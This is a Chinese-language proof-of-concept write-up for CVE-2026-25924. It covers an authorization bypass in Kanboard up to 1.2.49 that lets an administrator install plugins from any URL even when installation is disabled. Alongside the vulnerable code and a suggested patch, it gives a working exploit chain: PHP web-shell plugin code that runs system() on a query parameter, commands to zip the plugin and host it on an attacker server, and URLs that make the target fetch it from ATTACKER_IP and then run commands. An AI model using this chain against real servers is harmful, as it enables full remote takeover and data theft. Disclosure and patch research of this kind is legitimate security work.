
CVE-2026-25924 的概念验证漏洞利用程序,演示了 Kanboard 中因插件安装缺少访问控制检查而导致的远程代码执行漏洞。
通过安全控制绕过实现管理员 RCE 的 Proof-of-Concept
披露: 最初由我通过 GHSA-grch-p7vf-vc4f 报告
⚠️ 仅限授权渗透测试/研究使用。
| 字段 | 值 |
|---|
| CVE ID | CVE-2026-25924 |
| 严重性 | 🔴 高 |
| CVSS 评分 | 8.4 |
| CVSS 向量 | [CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H] |
| CWE | CWE-863:不正确的授权 |
| 受影响产品 | Kanboard ≤ 1.2.49 |
| 已修补版本 | 1.2.50 |
| 安全公告 | GHSA-grch-p7vf-vc4f |
Kanboard v1.2.49 中存在一个安全控制绕过漏洞,允许已认证的管理员实现完整的远程代码执行(RCE)。尽管应用程序在 PLUGIN_INSTALLER 配置设置为 false 时正确隐藏了插件安装界面,但底层后端端点未能验证此安全设置。攻击者可以利用此疏忽强制服务器下载并安装恶意插件,从而导致任意代码执行。


Kanboard 使用安全常量 PLUGIN_INSTALLER 来限制从远程 URL 安装插件的能力。该常量定义在 app/constants.php 中:
文件:app/constants.php
21: defined('PLUGIN_INSTALLER') or define('PLUGIN_INSTALLER', strtolower(getenv('PLUGIN_INSTALLER')) === 'true'); // 出于安全原因默认禁用
应用程序在 PluginController 的 UI 渲染方法(如 show() 和 directory())中通过 Installer::isConfigured() 正确检查了此设置:
文件:app/Controller/PluginController.php
22: public function show()
23: {
...
28: 'is_configured' => Installer::isConfigured(),
29: )));
30: }
然而,同一控制器中的 install() 方法未能执行此检查。它仅验证 CSRF 令牌,然后继续从 archive_url 参数中提供的任意 URL 下载并安装插件。
app/Controller/PluginController.php 中的漏洞代码:
56: public function install()
57: {
58: $this->checkCSRFParam();
59: $pluginArchiveUrl = urldecode($this->request->getStringParam('archive_url'));
60:
61: try {
62: $installer = new Installer($this->container);
63: $installer->install($pluginArchiveUrl); // <--- 漏洞:缺少对 Installer::isConfigured() 的检查
64: $this->flash->success(t('Plugin installed successfully.'));
65: } catch (PluginInstallerException $e) {
66: $this->flash->failure($e->getMessage());
67: }
68:
69: $this->response->redirect($this->helper->url->to('PluginController', 'show'));
70: }
由于 Installer::install() 同样不检查 PLUGIN_INSTALLER 常量,管理员只需携带有效的 CSRF 令牌直接访问该端点即可绕过预期限制。插件一旦安装,恶意插件将被 Kanboard\Core\Plugin\Loader 自动加载并执行,从而授予攻击者完整的 RCE 能力。
创建一个名为 Exploit 的目录,其中包含文件 Plugin.php:
<?php
namespace Kanboard\Plugin\Exploit;
use Kanboard\Core\Plugin\Base;
class Plugin extends Base {
public function initialize() {
// Web shell 监听器
if (isset($_GET['cmd'])) {
system($_GET['cmd']);
}
}
}
压缩该文件夹并将其托管在攻击者控制的服务器上:
zip -r exploit.zip Exploit/
python3 -m http.server 80

以管理员身份登录 Kanboard。从页面源代码中获取您的 csrf_token,然后导航至:
http://[TARGET_IP]:8080/?controller=PluginController&action=install&archive_url=http://[ATTACKER_IP]/exploit.zip&csrf_token=[YOUR_TOKEN]

使用 cmd 参数执行任意系统命令:
http://[TARGET_IP]:8080/?controller=DashboardController&action=show&cmd=id


此漏洞允许管理员绕过主机施加的安全限制。通过实现 RCE,攻击者可以:
/etc/passwd、config.php)。在 app/Controller/PluginController.php 中的 install() 和 update() 方法开头添加对 Installer::isConfigured() 的检查:
if (! Installer::isConfigured()) {
throw new AccessForbiddenException();
}